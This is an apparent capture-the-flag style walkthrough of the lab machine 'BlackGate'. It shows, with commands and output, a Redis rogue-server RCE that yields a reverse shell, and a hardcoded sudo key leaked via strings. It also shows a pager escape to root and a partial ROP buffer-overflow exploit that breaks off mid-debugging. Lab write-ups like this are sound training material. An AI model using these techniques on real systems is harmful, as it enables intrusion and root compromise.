BlackGate Proving Grounds Practice
Difficulty = Intermediate
IP Address = 192.168.88.176
Nmap Scan:
βββ(markγΏhaxor)-[~/β¦/B2B/Pg/Practice/BlackGate]
ββ$ cat nmapscan
# Nmap 7.92 scan initiated Sat Jan 21 12:11:54 2023 as: nmap -sCV -A -p22,6379 -oN nmapscan 192.168.88.176
Nmap scan report for 192.168.88.176
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 37:21:14:3e:23:e5:13:40:20:05:f9:79:e0:82:0b:09 (RSA)
| 256 b9:8d:bd:90:55:7c:84:cc:a0:7f:a8:b4:d3:55:06:a7 (ECDSA)
|_ 256 07:07:29:7a:4c:7c:f2:b0:1f:3c:3f:2b:a1:56:9e:0a (ED25519)
6379/tcp open redis Redis key-value store 4.0.14
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 21 12:12:15 2023 -- 1 IP address (1 host up) scanned in 20.76 seconds
From the scan only two ports are open which are ssh and redis server
The version for the redis is 4.0.14 which is pretty old
Thereβs an exploit called redis-regue-server which works for redis <= 5.0.5
And itβs a remote code execution exploit
Installation:
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server
cd RedisModulesSDK/exp
make
mv exp.so ../..
cd ../..
Now we can run the python exploit
But first lets check the help manual
βββ(markγΏhaxor)-[~/Desktop/Tools/redis-rogue-server]
ββ$ python3 redis-rogue-server.py --help
______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig
Usage: redis-rogue-server.py [options]
Options:
-h, --help show this help message and exit
--rhost=REMOTE_HOST target host
--rport=REMOTE_PORT target redis port, default 6379
--lhost=LOCAL_HOST rogue server ip
--lport=LOCAL_PORT rogue server listen port, default 21000
--exp=EXP_FILE Redis Module to load, default exp.so
-v, --verbose Show full data stream
--passwd=RPASSWD target redis password
So we just need to set the rhost and rport also lhost and lport
But by default rport is set to 6379 which is the default redis server port
So we only need rhost, lhost and lport
βββ(markγΏhaxor)-[~/Desktop/Tools/redis-rogue-server]
ββ$ python3 redis-rogue-server.py --rhost=192.168.88.176 --lhost=192.168.49.88 --lport=80
______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig
[info] TARGET 192.168.88.176:6379
[info] SERVER 192.168.49.88:80
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell:
It asks if we need a reverse shell (hell yea we do)
So i set up a listener on port 22 and continue the process
βββ(markγΏhaxor)-[~/Desktop/Tools/redis-rogue-server]
ββ$ python3 redis-rogue-server.py --rhost=192.168.88.176 --lhost=192.168.49.88 --lport=80
______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig
[info] TARGET 192.168.88.176:6379
[info] SERVER 192.168.49.88:80
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: r
[info] Open reverse shell...
Reverse server address: 192.168.49.88
Reverse server port: 22
[info] Reverse shell payload sent.
[info] Check at 192.168.49.88:22
[info] Unload module...
Back on the listner
βββ(markγΏhaxor)-[~/β¦/B2B/Pg/Practice/BlackGate]
ββ$ nc -lvnp 22
listening on [any] 22 ...
connect to [192.168.49.88] from (UNKNOWN) [192.168.88.176] 39046
whoami
prudence
id
uid=1001(prudence) gid=1001(prudence) groups=1001(prudence)
Now stabilizing the shell
python3 -c "import pty; pty.spawn('/bin/bash')"
export TERM=xterm
CTRL + Z
stty raw -echo;fg
reset
Now in the userβs directory thereβs a note.txt file
prudence@blackgate:/tmp$ cd /home/prudence/
prudence@blackgate:/home/prudence$ ls
local.txt notes.txt
prudence@blackgate:/home/prudence$ cat notes.txt
[β] Setup redis server
[β] Turn on protected mode
[β] Implementation of the redis-status
[β] Allow remote connections to the redis server
prudence@blackgate:/home/prudence$
Ok so we see the user setted up a redis server, implemented redis-status, allow remote connection to the server but didnβt turn on protected mode
So lets see what we can loot now
Checking for sudo permission shows we can run redis-status as root
prudence@blackgate:/home/prudence$ sudo -l
Matching Defaults entries for prudence on blackgate:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User prudence may run the following commands on blackgate:
(root) NOPASSWD: /usr/local/bin/redis-status
prudence@blackgate:/home/prudence$
So lets run it and see what happens
But it asks for authorization key :(
prudence@blackgate:/home/prudence$ sudo /usr/local/bin/redis-status
[*] Redis Uptime
Authorization Key: lol
Wrong Authorization Key!
Incident has been reported!
prudence@blackgate:/home/prudence$
Running strings on the binary leaks the authorization key
prudence@blackgate:/home/prudence$ strings /usr/local/bin/redis-status
/lib64/ld-linux-x86-64.so.2
gets
puts
printf
stderr
system
fwrite
strcmp
__libc_start_main
libc.so.6
GLIBC_2.2.5
__gmon_start__
H=X@@
[]A\A]A^A_
[*] Redis Uptime
Authorization Key:
ClimbingParrotKickingDonkey321
/usr/bin/systemctl status redis
Wrong Authorization Key!
Incident has been reported!
:*3$"
GCC: (Ubuntu 10.3.0-1ubuntu1~20.10) 10.3.0
/usr/lib/gcc/x86_64-linux-gnu/10/../../../x86_64-linux-gnu/crt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
redis-status.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
puts@@GLIBC_2.2.5
_edata
system@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
strcmp@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
gets@@GLIBC_2.2.5
__libc_csu_init
_dl_relocate_static_pie
__bss_start
main
fwrite@@GLIBC_2.2.5
__TMC_END__
stderr@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment
prudence@blackgate:/home/prudence$
So authorization key = ClimbingParrotKickingDonkey321
[*] Redis Uptime
Authorization Key:
ClimbingParrotKickingDonkey321
/usr/bin/systemctl status redis
Wrong Authorization Key!
Incident has been reported!
Now lets rerun the binary since we have the key now
prudence@blackgate:/home/prudence$ sudo redis-status
[*] Redis Uptime
Authorization Key: ClimbingParrotKickingDonkey321
β redis.service - redis service
Loaded: loaded (/etc/systemd/system/redis.service; enabled; vendor preset:>
Active: active (running) since Sat 2023-01-21 14:00:24 UTC; 8min ago
Main PID: 784 (sh)
Tasks: 8 (limit: 1062)
Memory: 22.2M
CGroup: /system.slice/redis.service
ββ 784 [sh]
ββ1058 python3 -c import pty; pty.spawn('/bin/bash')
ββ1059 /bin/bash
ββ1364 sudo redis-status
ββ1365 redis-status
ββ1366 sh -c /usr/bin/systemctl status redis
ββ1367 /usr/bin/systemctl status redis
ββ1368 pager
Jan 21 14:00:31 blackgate redis-server[784]: 784:M 21 Jan 14:00:31.551 # Settin>
Jan 21 14:00:31 blackgate redis-server[784]: 784:M 21 Jan 14:00:31.551 * MASTER>
Jan 21 14:05:09 blackgate sudo[1209]: prudence : TTY=pts/0 ; PWD=/home/prudence>
Jan 21 14:05:09 blackgate sudo[1209]: pam_unix(sudo:session): session opened fo>
Jan 21 14:05:12 blackgate sudo[1209]: pam_unix(sudo:session): session closed fo>
Jan 21 14:08:25 blackgate sudo[1352]: prudence : TTY=pts/0 ; PWD=/home/prudence>
Jan 21 14:08:25 blackgate sudo[1352]: pam_unix(sudo:session): session opened fo>
lines 1-23
So we can keep on scrolling down
Now there are two ways I got around getting root
The first one is likely unintended anyways lets see it
Likely Unintended
What i did next was to try call /bin/bash
SHIFT + 1
/bin/bash
And it landed us as root sweeet πΈ
prudence@blackgate:/home/prudence$ sudo redis-status
[*] Redis Uptime
Authorization Key: ClimbingParrotKickingDonkey321
β redis.service - redis service
Loaded: loaded (/etc/systemd/system/redis.service; enabled; vendor preset:>
Active: active (running) since Sat 2023-01-21 14:00:24 UTC; 8min ago
Main PID: 784 (sh)
Tasks: 8 (limit: 1062)
Memory: 22.2M
CGroup: /system.slice/redis.service
ββ 784 [sh]
ββ1058 python3 -c import pty; pty.spawn('/bin/bash')
ββ1059 /bin/bash
ββ1364 sudo redis-status
ββ1365 redis-status
ββ1366 sh -c /usr/bin/systemctl status redis
ββ1367 /usr/bin/systemctl status redis
ββ1368 pager
Jan 21 14:00:31 blackgate redis-server[784]: 784:M 21 Jan 14:00:31.551 # Settin>
Jan 21 14:00:31 blackgate redis-server[784]: 784:M 21 Jan 14:00:31.551 * MASTER>
Jan 21 14:05:09 blackgate sudo[1209]: prudence : TTY=pts/0 ; PWD=/home/prudence>
Jan 21 14:05:09 blackgate sudo[1209]: pam_unix(sudo:session): session opened fo>
Jan 21 14:05:12 blackgate sudo[1209]: pam_unix(sudo:session): session closed fo>
Jan 21 14:08:25 blackgate sudo[1352]: prudence : TTY=pts/0 ; PWD=/home/prudence>
Jan 21 14:08:25 blackgate sudo[1352]: pam_unix(sudo:session): session opened fo>
!/bin/bash
root@blackgate:/home/prudence#
root@blackgate:/home/prudence# cd /root
root@blackgate:~# ls -al
total 32
drwx------ 5 root root 4096 Jan 21 13:59 .
drwxr-xr-x 20 root root 4096 Dec 6 2021 ..
lrwxrwxrwx 1 root root 9 Dec 6 2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Aug 14 2019 .bashrc
drwx------ 2 root root 4096 Dec 6 2021 .cache
-rw-r--r-- 1 root root 161 Sep 16 2020 .profile
-rw------- 1 root root 33 Jan 21 13:59 proof.txt
drwxr-xr-x 3 root root 4096 Dec 6 2021 snap
drwxr-xr-x 2 root root 4096 Dec 6 2021 .ssh
root@blackgate:~#
Intended way
I transferred the binary back to my machine and decompiled using ghidra
Hereβs the main function pseudo code
undefined8 main(void)
{
int success;
char input [256];
puts("[*] Redis Uptime");
printf("Authorization Key: ");
gets(input);
success = strcmp(input,"ClimbingParrotKickingDonkey321");
if (success == 0) {
system("/usr/bin/systemctl status redis");
}
else {
puts("Wrong Authorization Key!");
fwrite("Incident has been reported!\n",1,0x1c,stderr);
}
return 0;
}
We can tell whatβs happening in the binary
1. It prints out the output which says authorization key
2. Recieves out input using gets() # bug here
3. Does a string compare of out input with ClimbingParrotKickingDonkey321
4. If its true that is our input is equal to the compared value, it runs system(/usr/bin/systemctl status redis
5. Else it prints out wrong authorization key and exits
Looking at the code the main problem with it is the usage of gets() since it doesnβt validate the amount of data it writes in a buffer in this case our input buffer can only hold up to 256bytes of data but we can overflow it
Lets get to the exploitation part π€
Firstly iβll check the file type and the protections enabled
βββ(markγΏhaxor)-[~/β¦/B2B/Pg/Practice/BlackGate]
ββ$ file redis-status
redis-status: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b3e6813dd295d7429e328f168e6ce260f0ed33f6, for GNU/Linux 3.2.0, not stripped
βββ(markγΏhaxor)-[~/β¦/B2B/Pg/Practice/BlackGate]
ββ$ checksec --format=json --file=redis-status | jq
{
"redis-status": {
"relro": "partial",
"canary": "no",
"nx": "yes",
"pie": "no",
"rpath": "no",
"runpath": "no",
"symbols": "yes",
"fortify_source": "no",
"fortified": "0",
"fortify-able": "2"
}
}
Its a x64 binary and the only protection enabled is NX (No Execute) meaning we wonβt be able to place shellcode on the stack and execute it
Now we know that we can cause a segmentation fault since it uses gets() to receive our input
Lets try it out
ββ$ python2 -c 'print "A"*300' | ./redis-status
[*] Redis Uptime
Authorization Key: Wrong Authorization Key!
Incident has been reported!
zsh: done python2 -c 'print "A"*300' |
zsh: segmentation fault ./redis-status
Cool lets get the offset needed to overwrite the RIP ( Instruction Pointer )
I use gdb-gef for it
βββ(markγΏhaxor)-[~/β¦/B2B/Pg/Practice/BlackGate]
ββ$ gdb-gef -q redis-status
Reading symbols from redis-status...
(No debugging symbols found in redis-status)
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded and 5 functions added for GDB 12.1 in 0.01ms using Python engine 3.11
gefβ€ pattern create 300
[+] Generating a pattern of 300 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[+] Saved as '$_gef0'
gefβ€ r
Starting program: /home/mark/Desktop/B2B/Pg/Practice/BlackGate/redis-status
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[*] Redis Uptime
Authorization Key: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
Wrong Authorization Key!
Incident has been reported!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401270 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x0
$rbx : 0x00007fffffffdfa8 β 0x00007fffffffe2f5 β "/home/mark/Desktop/B2B/Pg/Practice/BlackGate/redis[...]"
$rcx : 0x00007ffff7ec1190 β 0x5877fffff0003d48 ("H="?)
$rdx : 0x1
$rsp : 0x00007fffffffde98 β "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa"
$rbp : 0x6261616161616168 ("haaaaaab"?)
$rsi : 0x0000000000402089 β "Incident has been reported!\n"
$rdi : 0x00007ffff7f9da00 β 0x0000000000000000
$rip : 0x0000000000401270 β <main+154> ret
$r8 : 0x00000000004057dd β 0x0000000000000000
$r9 : 0x0
$r10 : 0x00007ffff7de1c00 β 0x0010002200001aa2
$r11 : 0x202
$r12 : 0x0
$r13 : 0x00007fffffffdfb8 β 0x00007fffffffe32f β 0x5245545f5353454c ("LESS_TER"?)
$r14 : 0x0
$r15 : 0x00007ffff7ffd020 β 0x00007ffff7ffe2e0 β 0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0x00007fffffffde98β+0x0000: "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa" β $rsp
0x00007fffffffdea0β+0x0008: "jaaaaaabkaaaaaablaaaaaabmaaa"
0x00007fffffffdea8β+0x0010: "kaaaaaablaaaaaabmaaa"
0x00007fffffffdeb0β+0x0018: "laaaaaabmaaa"
0x00007fffffffdeb8β+0x0020: 0x00007f006161616d ("maaa"?)
0x00007fffffffdec0β+0x0028: 0x00007fffffffdfa8 β 0x00007fffffffe2f5 β "/home/mark/Desktop/B2B/Pg/Practice/BlackGate/redis[...]"
0x00007fffffffdec8β+0x0030: 0xc573edf08bcaaacc
0x00007fffffffded0β+0x0038: 0x0000000000000000
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0x401265 <main+143> call 0x4010e0 <fwrite@plt>
0x40126a <main+148> mov eax, 0x0
0x40126f <main+153> leave
β 0x401270 <main+154> ret
[!] Cannot disassemble from $PC
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ
[#0] Id 1, Name: "redis-status", stopped 0x401270 in main (), reason: SIGSEGV
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ
[#0] 0x401270 β main()
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
gefβ€ pattern offset $rsp
[+] Searching for '6961616161616162'/'6261616161616169' with period=8
[+] Found at offset 264 (little-endian search) likely
gefβ€
The offset is 264
. To exploit this binary since NX is disabled we need to make use of rop ( Return Oriented Programming ) which basically means chaining together small snippets of assembly with stack control to cause the program to do more complex things.
Since we know that the binary is going to call system(/usr/bin/systemctl) lets find a was to make it rather call system(/bin/sh)
Hereβs the idea of the exploit am about to create
Now we're going to do something interesting - we are going to call gets again. Most importantly, we will tell gets to write the data it receives to a section of the binary. We need somewhere both readable and writeable, so I choose the DATA. We pass a GOT entry to gets, and when it receives the input we send it will write the value given into the DATA section of the binary . Now we know exactly where our value is. To top it all off, we set the return address of our call to gets to where we wrote our input, and running system() on it, perfectly executing what we just inputted.
Iβll check for writeable section of the binary using readelf
ββ$ readelf -S redis-status
There are 31 section headers, starting at offset 0x3ae0:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400318 00000318
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.gnu.pr[...] NOTE 0000000000400338 00000338
0000000000000020 0000000000000000 A 0 0 8
[ 3] .note.gnu.bu[...] NOTE 0000000000400358 00000358
0000000000000024 0000000000000000 A 0 0 4
[ 4] .note.ABI-tag NOTE 000000000040037c 0000037c
0000000000000020 0000000000000000 A 0 0 4
[ 5] .gnu.hash GNU_HASH 00000000004003a0 000003a0
0000000000000024 0000000000000000 A 6 0 8
[ 6] .dynsym DYNSYM 00000000004003c8 000003c8
00000000000000f0 0000000000000018 A 7 1 8
[ 7] .dynstr STRTAB 00000000004004b8 000004b8
0000000000000065 0000000000000000 A 0 0 1
[ 8] .gnu.version VERSYM 000000000040051e 0000051e
0000000000000014 0000000000000002 A 6 0 2
[ 9] .gnu.version_r VERNEED 0000000000400538 00000538
0000000000000020 0000000000000000 A 7 1 8
[10] .rela.dyn RELA 0000000000400558 00000558
0000000000000048 0000000000000018 A 6 0 8
[11] .rela.plt RELA 00000000004005a0 000005a0
0000000000000090 0000000000000018 AI 6 24 8
[12] .init PROGBITS 0000000000401000 00001000
000000000000001b 0000000000000000 AX 0 0 4
[13] .plt PROGBITS 0000000000401020 00001020
0000000000000070 0000000000000010 AX 0 0 16
[14] .plt.sec PROGBITS 0000000000401090 00001090
0000000000000060 0000000000000010 AX 0 0 16
[15] .text PROGBITS 00000000004010f0 000010f0
0000000000000205 0000000000000000 AX 0 0 16
[16] .fini PROGBITS 00000000004012f8 000012f8
000000000000000d 0000000000000000 AX 0 0 4
[17] .rodata PROGBITS 0000000000402000 00002000
00000000000000a6 0000000000000000 A 0 0 8
[18] .eh_frame_hdr PROGBITS 00000000004020a8 000020a8
0000000000000044 0000000000000000 A 0 0 4
[19] .eh_frame PROGBITS 00000000004020f0 000020f0
0000000000000100 0000000000000000 A 0 0 8
[20] .init_array INIT_ARRAY 0000000000403e10 00002e10
0000000000000008 0000000000000008 WA 0 0 8
[21] .fini_array FINI_ARRAY 0000000000403e18 00002e18
0000000000000008 0000000000000008 WA 0 0 8
[22] .dynamic DYNAMIC 0000000000403e20 00002e20
00000000000001d0 0000000000000010 WA 7 0 8
[23] .got PROGBITS 0000000000403ff0 00002ff0
0000000000000010 0000000000000008 WA 0 0 8
[24] .got.plt PROGBITS 0000000000404000 00003000
0000000000000048 0000000000000008 WA 0 0 8
[25] .data PROGBITS 0000000000404048 00003048
0000000000000010 0000000000000000 WA 0 0 8
[26] .bss NOBITS 0000000000404060 00003058
0000000000000010 0000000000000000 WA 0 0 32
[27] .comment PROGBITS 0000000000000000 00003058
000000000000002b 0000000000000001 MS 0 0 1
[28] .symtab SYMTAB 0000000000000000 00003088
00000000000006a8 0000000000000018 29 47 8
[29] .strtab STRTAB 0000000000000000 00003730
000000000000028f 0000000000000000 0 0 1
[30] .shstrtab STRTAB 0000000000000000 000039bf
000000000000011f 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), l (large), p (processor specific)
We get lot of output but we need a WA (Writeable Allocation) section of the binary
Looking at it iβll pick .data
i can also choose like .bss
but choosing like .got
will mess up the memory address since those are part of the memory needed to perform syscalls
Hereβs the strategy iβm going to do
1. I need the address where out input will be stored in the .data section
2. After getting that we can then do: pop_rdi + sh + system
Lets get a pop_rdi gadget using ropper
ββ$ ropper --file redis-status --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: redis-status
0x00000000004012e3: pop rdi; ret;
Hereβs the script i used GetAddr
On running it pauses
ββ$ python3 getaddr.py
[+] Starting local process './redis-status': pid 135706
[*] Paused (press any to continue)
I will then attach the process to gdb
ββ$ gdb-gef
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded and 5 functions added for GDB 12.1 in 0.01ms using Python engine 3.11
gefβ€ attach 135706
Attaching to process 135706
Reading symbols from /home/mark/Desktop/B2B/Pg/Practice/BlackGate/redis-status...
(No debugging symbols found in /home/mark/Desktop/B2B/Pg/Practice/BlackGate/redis-status)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/4a/ff0f9d796e67d413e44f332edace9ac0ca2401.debug...
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/4f/536ac1cd2e8806aed8556ea7795c47404de8a9.debug...
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x00007f4b636430ed in __GI___libc_read (fd=0x0, buf=0x177a6b0, nbytes=0x1000) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0xfffffffffffffe00
$rbx : 0x00007f4b6371da80 β 0x00000000fbad2088
$rcx : 0x00007f4b636430ed β 0x5b77fffff0003d48 ("H="?)
$rdx : 0x1000
$rsp : 0x00007ffc2d24dc98 β 0x00007f4b635cd00e β <_IO_file_underflow+382> test rax, rax
$rbp : 0x00007f4b6371a5e0 β 0x0000000000000000
$rsi : 0x000000000177a6b0 β 0x0000000000000000
$rdi : 0x0
$rip : 0x00007f4b636430ed β 0x5b77fffff0003d48 ("H="?)
$r8 : 0x179b000
$r9 : 0x21001
$r10 : 0x1000
$r11 : 0x246
$r12 : 0x00007f4b6371e850 β 0x00007f4b6371da80 β 0x00000000fbad2088
$r13 : 0xd68
$r14 : 0x00007f4b637199e0 β 0x0000000000000000
$r15 : 0xd68
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0x00007ffc2d24dc98β+0x0000: 0x00007f4b635cd00e β <_IO_file_underflow+382> test rax, rax β $rsp
0x00007ffc2d24dca0β+0x0008: 0x0000000000000001
0x00007ffc2d24dca8β+0x0010: 0x00007f4b63643190 β 0x5877fffff0003d48 ("H="?)
0x00007ffc2d24dcb0β+0x0018: 0x000000000179b000
0x00007ffc2d24dcb8β+0x0020: 0x00007f4b6371da80 β 0x00000000fbad2088
0x00007ffc2d24dcc0β+0x0028: 0x00007f4b6371a5e0 β 0x0000000000000000
0x00007ffc2d24dcc8β+0x0030: 0x00007f4b6371e850 β 0x00007f4b6371da80 β 0x00000000fbad2088
0x00007ffc2d24dcd0β+0x0038: 0x00007f4b63548740 β 0x00007f4b63548740 β [loop detected]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0x7f4b636430e7 <read+7> je 0x7f4b63643100 <__GI___libc_read+32>
0x7f4b636430e9 <read+9> xor eax, eax
0x7f4b636430eb <read+11> syscall
β 0x7f4b636430ed <read+13> cmp rax, 0xfffffffffffff000
0x7f4b636430f3 <read+19> ja 0x7f4b63643150 <__GI___libc_read+112>
0x7f4b636430f5 <read+21> ret
0x7f4b636430f6 <read+22> cs nop WORD PTR [rax+rax*1+0x0]
0x7f4b63643100 <read+32> sub rsp, 0x28
0x7f4b63643104 <read+36> mov QWORD PTR [rsp+0x18], rdx
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ
[#0] Id 1, Name: "redis-status", stopped 0x7f4b636430ed in __GI___libc_read (), reason: STOPPED
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ
[#0] 0x7f4b636430ed β __GI___libc_read(fd=0x0, buf=0x177a6b0, nbytes=0x1000)
[#1] 0x7f4b635cd00e β _IO_new_file_underflow(fp=0x7f4b6371da80 <_IO_2_1_stdin_>)
[#2] 0x7f4b635ce002 β __GI__IO_default_uflow(fp=0x7f4b6371da80 <_IO_2_1_stdin_>)
[#3] 0x7f4b635c1f9d β _IO_gets(buf=0x7ffc2d24dd50 "")
[#4] 0x401216 β main()
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
gefβ€
Then iβll press the enter key then send /bin/sh
ββ$ python3 getaddr.py
[+] Starting local process './redis-status': pid 136554
[*] Paused (press any to continue)
[*] Switching to interactive mode
[*] Redis Uptime
$ /bin/sh
$
Back on gdb-gef iβll enter c
gefβ€ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x0000000100400000 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x0000000000404048 β 0x0068732f6e69622f ("/bin/sh"?)
$rbx : 0x00007fff45b40538 β 0x00007fff45b42389 β "./redis-status"
$rcx : 0x00007fbb330f4a80 β 0x00000000fbad2088
$rdx : 0x1
$rsp : 0x00007fff45b40448 β 0x00007fff45b40538 β 0x00007fff45b42389 β "./redis-status"
$rbp : 0x636161706361616f ("oaacpaac"?)
$rsi : 0x1
$rdi : 0x00007fbb330f6a20 β 0x0000000000000000
$rip : 0x100400000
$r8 : 0x000000000183f7d9 β 0x0000000000000000
$r9 : 0x0
$r10 : 0x00007fbb32f3ac00 β 0x0010002200001aa2
$r11 : 0x202
$r12 : 0x0
$r13 : 0x00007fff45b40548 β 0x00007fff45b42398 β "COLORFGBG=15;0"
$r14 : 0x0
$r15 : 0x00007fbb33150020 β 0x00007fbb331512e0 β 0x0000000000000000
$eflags: [zero carry parity ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
